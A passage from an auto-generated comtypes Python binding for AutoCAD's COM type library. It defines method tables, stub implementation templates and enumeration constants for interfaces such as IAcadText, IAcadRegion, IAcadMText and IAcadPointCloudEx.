#return pArrayObjs\n##\n## def GetAttributes(self):\n## '-no docstring-'\n## #return pAttrObjs\n##\n## def GetConstantAttributes(self):\n## '-no docstring-'\n## #return pAttrObjs\n##\n## @property\n## def HasAttributes(self):\n## '-no docstring-'\n## #return bHas\n##\n## @property\n## def EffectiveName(self):\n## '-no docstring-'\n## #return EffectiveName\n##\n## @property\n## def IsDynamicBlock(self):\n## '-no docstring-'\n## #return pDynamicBlock\n##\n## def GetDynamicBlockProperties(self):\n## '-no docstring-'\n## #return dynamicPropertyArray\n##\n## def ResetBlock(self):\n## '-no docstring-'\n## #return \n##\n## def ConvertToAnonymousBlock(self):\n## '-no docstring-'\n## #return \n##\n## def ConvertToStaticBlock(self, newBlockName):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return ScaleFactor\n## def _set(self, ScaleFactor):\n## '-no docstring-'\n## XEffectiveScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ScaleFactor\n## def _set(self, ScaleFactor):\n## '-no docstring-'\n## YEffectiveScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ScaleFactor\n## def _set(self, ScaleFactor):\n## '-no docstring-'\n## ZEffectiveScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def InsUnits(self):\n## '-no docstring-'\n## #return Units\n##\n## @property\n## def InsUnitsFactor(self):\n## '-no docstring-'\n## #return factor\n##\n\nIAcadExternalReference._methods_ = [\n COMMETHOD([dispid(256), 'propget'], HRESULT, 'Path',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(256), 'propput'], HRESULT, 'Path',\n ( ['in'], BSTR, 'bstrName' )),\n]\n################################################################\n## code template for IAcadExternalReference implementation\n##class IAcadExternalReference_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Path = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadTolerance._methods_ = [\n COMMETHOD([dispid(80), 'nonbrowsable', 'propget'], HRESULT, 'DirectionVector',\n ( ['out', 'retval'], POINTER(VARIANT), 'dirVector' )),\n COMMETHOD([dispid(80), 'nonbrowsable', 'propput'], HRESULT, 'DirectionVector',\n ( ['in'], VARIANT, 'dirVector' )),\n COMMETHOD([dispid(81), 'propget'], HRESULT, 'InsertionPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'insPoint' )),\n COMMETHOD([dispid(81), 'propput'], HRESULT, 'InsertionPoint',\n ( ['in'], VARIANT, 'insPoint' )),\n COMMETHOD([dispid(82), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(82), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(1542), 'propget'], HRESULT, 'StyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(1542), 'propput'], HRESULT, 'StyleName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(1546), 'propget'], HRESULT, 'TextColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'color' )),\n COMMETHOD([dispid(1546), 'propput'], HRESULT, 'TextColor',\n ( ['in'], ACAD_COLOR, 'color' )),\n COMMETHOD([dispid(1541), 'propget'], HRESULT, 'TextString',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrText' )),\n COMMETHOD([dispid(1541), 'propput'], HRESULT, 'TextString',\n ( ['in'], BSTR, 'bstrText' )),\n COMMETHOD([dispid(1562), 'propget'], HRESULT, 'TextStyle',\n ( ['out', 'retval'], POINTER(BSTR), 'style' )),\n COMMETHOD([dispid(1562), 'propput'], HRESULT, 'TextStyle',\n ( ['in'], BSTR, 'style' )),\n COMMETHOD([dispid(1563), 'propget'], HRESULT, 'TextHeight',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(1563), 'propput'], HRESULT, 'TextHeight',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(1553), 'propget'], HRESULT, 'ScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'factor' )),\n COMMETHOD([dispid(1553), 'propput'], HRESULT, 'ScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'factor' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'DimensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'DimensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n]\n################################################################\n## code template for IAcadTolerance implementation\n##class IAcadTolerance_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return dirVector\n## def _set(self, dirVector):\n## '-no docstring-'\n## DirectionVector = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return insPoint\n## def _set(self, insPoint):\n## '-no docstring-'\n## InsertionPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## StyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return color\n## def _set(self, color):\n## '-no docstring-'\n## TextColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrText\n## def _set(self, bstrText):\n## '-no docstring-'\n## TextString = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return style\n## def _set(self, style):\n## '-no docstring-'\n## TextStyle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## TextHeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## ScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## DimensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadText._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'TextString',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrText' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'TextString',\n ( ['in'], BSTR, 'bstrText' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'StyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'StyleName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Alignment',\n ( ['out', 'retval'], POINTER(AcAlignment), 'align' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Alignment',\n ( ['in'], AcAlignment, 'align' )),\n COMMETHOD([dispid(4), 'hidden', 'propget'], HRESULT, 'HorizontalAlignment',\n ( ['out', 'retval'], POINTER(AcHorizontalAlignment), 'horizAlign' )),\n COMMETHOD([dispid(4), 'hidden', 'propput'], HRESULT, 'HorizontalAlignment',\n ( ['in'], AcHorizontalAlignment, 'horizAlign' )),\n COMMETHOD([dispid(5), 'hidden', 'propget'], HRESULT, 'VerticalAlignment',\n ( ['out', 'retval'], POINTER(AcVerticalAlignment), 'vertiAlign' )),\n COMMETHOD([dispid(5), 'hidden', 'propput'], HRESULT, 'VerticalAlignment',\n ( ['in'], AcVerticalAlignment, 'vertiAlign' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'ScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scalFactor' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'ScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'scalFactor' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'ObliqueAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'obliAngle' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'ObliqueAngle',\n ( ['in'], ACAD_ANGLE, 'obliAngle' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'TextAlignmentPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'alignPoint' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'TextAlignmentPoint',\n ( ['in'], VARIANT, 'alignPoint' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'InsertionPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'insPoint' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'InsertionPoint',\n ( ['in'], VARIANT, 'insPoint' )),\n COMMETHOD([dispid(12), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(12), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(13), 'nonbrowsable', 'propget'], HRESULT, 'TextGenerationFlag',\n ( ['out', 'retval'], POINTER(c_int), 'textGenFlag' )),\n COMMETHOD([dispid(13), 'nonbrowsable', 'propput'], HRESULT, 'TextGenerationFlag',\n ( ['in'], c_int, 'textGenFlag' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'UpsideDown',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'UpsideDown' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'UpsideDown',\n ( ['in'], VARIANT_BOOL, 'UpsideDown' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'Backward',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Backward' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'Backward',\n ( ['in'], VARIANT_BOOL, 'Backward' )),\n COMMETHOD([dispid(17)], HRESULT, 'FieldCode',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrText' )),\n]\n################################################################\n## code template for IAcadText implementation\n##class IAcadText_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bstrText\n## def _set(self, bstrText):\n## '-no docstring-'\n## TextString = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## StyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return align\n## def _set(self, align):\n## '-no docstring-'\n## Alignment = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return horizAlign\n## def _set(self, horizAlign):\n## '-no docstring-'\n## HorizontalAlignment = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return vertiAlign\n## def _set(self, vertiAlign):\n## '-no docstring-'\n## VerticalAlignment = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scalFactor\n## def _set(self, scalFactor):\n## '-no docstring-'\n## ScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return obliAngle\n## def _set(self, obliAngle):\n## '-no docstring-'\n## ObliqueAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return alignPoint\n## def _set(self, alignPoint):\n## '-no docstring-'\n## TextAlignmentPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return insPoint\n## def _set(self, insPoint):\n## '-no docstring-'\n## InsertionPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return textGenFlag\n## def _set(self, textGenFlag):\n## '-no docstring-'\n## TextGenerationFlag = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return UpsideDown\n## def _set(self, UpsideDown):\n## '-no docstring-'\n## UpsideDown = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Backward\n## def _set(self, Backward):\n## '-no docstring-'\n## Backward = property(_get, _set, doc = _set.__doc__)\n##\n## def FieldCode(self):\n## '-no docstring-'\n## #return bstrText\n##\n\nIAcadRegion._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Area',\n ( ['out', 'retval'], POINTER(c_double), 'Area' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'Centroid',\n ( ['out', 'retval'], POINTER(VARIANT), 'Centroid' )),\n COMMETHOD([dispid(3), 'nonbrowsable', 'propget'], HRESULT, 'MomentOfInertia',\n ( ['out', 'retval'], POINTER(VARIANT), 'momentInertia' )),\n COMMETHOD([dispid(4), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Perimeter',\n ( ['out', 'retval'], POINTER(c_double), 'Perimeter' )),\n COMMETHOD([dispid(6), 'nonbrowsable', 'propget'], HRESULT, 'PrincipalDirections',\n ( ['out', 'retval'], POINTER(VARIANT), 'prinDir' )),\n COMMETHOD([dispid(7), 'nonbrowsable', 'propget'], HRESULT, 'PrincipalMoments',\n ( ['out', 'retval'], POINTER(VARIANT), 'prinMoments' )),\n COMMETHOD([dispid(8), 'nonbrowsable', 'propget'], HRESULT, 'ProductOfInertia',\n ( ['out', 'retval'], POINTER(c_double), 'prodInertia' )),\n COMMETHOD([dispid(9), 'nonbrowsable', 'propget'], HRESULT, 'RadiiOfGyration',\n ( ['out', 'retval'], POINTER(VARIANT), 'radiiGyration' )),\n COMMETHOD([dispid(10)], HRESULT, 'Boolean',\n ( ['in'], AcBooleanType, 'Operation' ),\n ( ['in'], POINTER(IAcadRegion), 'Object' )),\n COMMETHOD([dispid(11)], HRESULT, 'Explode',\n ( ['out', 'retval'], POINTER(VARIANT), 'pArrayObjs' )),\n]\n################################################################\n## code template for IAcadRegion implementation\n##class IAcadRegion_Impl(object):\n## @property\n## def Area(self):\n## '-no docstring-'\n## #return Area\n##\n## @property\n## def Centroid(self):\n## '-no docstring-'\n## #return Centroid\n##\n## @property\n## def MomentOfInertia(self):\n## '-no docstring-'\n## #return momentInertia\n##\n## @property\n## def Normal(self):\n## '-no docstring-'\n## #return Normal\n##\n## @property\n## def Perimeter(self):\n## '-no docstring-'\n## #return Perimeter\n##\n## @property\n## def PrincipalDirections(self):\n## '-no docstring-'\n## #return prinDir\n##\n## @property\n## def PrincipalMoments(self):\n## '-no docstring-'\n## #return prinMoments\n##\n## @property\n## def ProductOfInertia(self):\n## '-no docstring-'\n## #return prodInertia\n##\n## @property\n## def RadiiOfGyration(self):\n## '-no docstring-'\n## #return radiiGyration\n##\n## def Boolean(self, Operation, Object):\n## '-no docstring-'\n## #return \n##\n## def Explode(self):\n## '-no docstring-'\n## #return pArrayObjs\n##\n\nclass AcadPointCloud(CoClass):\n _reg_clsid_ = GUID('{1B166B76-11E2-421E-9CB7-9F8F1052DA80}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadPointCloud(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{4A6AE902-A182-455B-9D97-37FF716838A9}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadPointCloud._com_interfaces_ = [IAcadPointCloud]\nAcadPointCloud._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass IAcadPointCloudEx(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{3BA3B05C-DFF6-45B8-80C9-890A30F8C206}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadPointCloudEx2(IAcadPointCloudEx):\n _case_insensitive_ = True\n _iid_ = GUID('{5575D931-0FEA-4450-BCA1-5328E5BE9622}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadPointCloudEx._methods_ = [\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Stylization',\n ( ['out', 'retval'], POINTER(AcPointCloudExStylizationType), 'val' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Stylization',\n ( ['in'], AcPointCloudExStylizationType, 'val' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'ColorScheme',\n ( ['out', 'retval'], POINTER(BSTR), 'val' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'ColorScheme',\n ( ['in'], c_int, 'val' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'InsertionPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'EndPoint' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'InsertionPoint',\n ( ['in'], VARIANT, 'EndPoint' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'val' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'val' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'scale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'val' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'scale',\n ( ['in'], ACAD_NOUNITS, 'val' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'val' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'val' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'Path',\n ( ['out', 'retval'], POINTER(BSTR), 'val' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'ShowCropped',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'val' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'ShowCropped',\n ( ['in'], VARIANT_BOOL, 'val' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Locked',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'val' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Locked',\n ( ['in'], VARIANT_BOOL, 'val' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'Geolocate',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'val' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'Geolocate',\n ( ['in'], VARIANT_BOOL, 'val' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'Unit',\n ( ['out', 'retval'], POINTER(BSTR), 'val' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'UnitFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'val' )),\n]\n################################################################\n## code template for IAcadPointCloudEx implementation\n##class IAcadPointCloudEx_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## Stylization = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## ColorScheme = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return EndPoint\n## def _set(self, EndPoint):\n## '-no docstring-'\n## InsertionPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## scale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Path(self):\n## '-no docstring-'\n## #return val\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## ShowCropped = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## Locked = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## Geolocate = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Unit(self):\n## '-no docstring-'\n## #return val\n##\n## @property\n## def UnitFactor(self):\n## '-no docstring-'\n## #return val\n##\n\nIAcadPointCloudEx2._methods_ = [\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'Segmentation',\n ( ['out', 'retval'], POINTER(BSTR), 'val' )),\n]\n################################################################\n## code template for IAcadPointCloudEx2 implementation\n##class IAcadPointCloudEx2_Impl(object):\n## @property\n## def Segmentation(self):\n## '-no docstring-'\n## #return val\n##\n\n\n# values for enumeration 'AcBlockScaling'\nacAny = 0\nacUniform = 1\nAcBlockScaling = c_int # enum\n\n# values for enumeration 'AcUnderlayLayerOverrideType'\nacNoOverrides = 0\nacApplied = 1\nAcUnderlayLayerOverrideType = c_int # enum\n\n# values for enumeration 'AcAttachmentPoint'\nacAttachmentPointTopLeft = 1\nacAttachmentPointTopCenter = 2\nacAttachmentPointTopRight = 3\nacAttachmentPointMiddleLeft = 4\nacAttachmentPointMiddleCenter = 5\nacAttachmentPointMiddleRight = 6\nacAttachmentPointBottomLeft = 7\nacAttachmentPointBottomCenter = 8\nacAttachmentPointBottomRight = 9\nAcAttachmentPoint = c_int # enum\n\n# values for enumeration 'AcLineSpacingStyle'\nacLineSpacingStyleAtLeast = 1\nacLineSpacingStyleExactly = 2\nAcLineSpacingStyle = c_int # enum\nIAcadMText._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'TextString',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrText' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'TextString',\n ( ['in'], BSTR, 'bstrText' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'StyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'StyleName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'AttachmentPoint',\n ( ['out', 'retval'], POINTER(AcAttachmentPoint), 'attPoint' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'AttachmentPoint',\n ( ['in'], AcAttachmentPoint, 'attPoint' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'DrawingDirection',\n ( ['out', 'retval'], POINTER(AcDrawingDirection), 'drawDir' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'DrawingDirection',\n ( ['in'], AcDrawingDirection, 'drawDir' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Width',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Width',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'InsertionPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'insPoint' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'InsertionPoint',\n ( ['in'], VARIANT, 'insPoint' )),\n COMMETHOD([dispid(9), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(9), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'LineSpacingFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'LineSpacingFactor',\n ( ['in'], c_double, 'factor' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'LineSpacingStyle',\n ( ['out', 'retval'], POINTER(AcLineSpacingStyle), 'style' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'LineSpacingStyle',\n ( ['in'], AcLineSpacingStyle, 'style' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'LineSpacingDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Value' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'LineSpacingDistance',\n ( ['in'], c_double, 'Value' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'BackgroundFill',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bUseBackgroundFill' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'BackgroundFill',\n ( ['in'], VARIANT_BOOL, 'bUseBackgroundFill' )),\n COMMETHOD([dispid(14)], HRESULT, 'FieldCode',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrText' )),\n]\n################################################################\n## code template for IAcadMText implementation\n##class IAcadMText_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bstrText\n## def _set(self, bstrText):\n## '-no docstring-'\n## TextString = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## StyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return attPoint\n## def _set(self, attPoint):\n## '-no docstring-'\n## AttachmentPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return drawDir\n## def _set(self, drawDir):\n## '-no docstring-'\n## DrawingDirection = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## Width = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return insPoint\n## def _set(self, insPoint):\n## '-no docstring-'\n## InsertionPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## LineSpacingFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return style\n## def _set(self, style):\n## '-no docstring-'\n## LineSpacingStyle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Value\n## def _set(self, Value):\n## '-no docstring-'\n## LineSpacingDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bUseBackgroundFill\n## def _set(self, bUseBackgroundFill):\n## '-no docstring-'\n## BackgroundFill = property(_get, _set, doc = _set.__doc__)\n##\n## def FieldCode(self):\n## '-no docstring-'\n## #return bstrText\n##\n\n\n# values for enumeration 'AcOnOff'\nacOff = 0\nacOn = 1\nAcOnOff = c_int # enum\n\n# values for enumeration 'AcPlotPaperUnits'\nacInches = 0\nacMillimeters = 1\nacPixels = 2\nAcPlotPaperUnits = c_int # enum\nclass IAcadLineType(IAcadObject):\n _case_insensitive_ = True\n _iid_ = 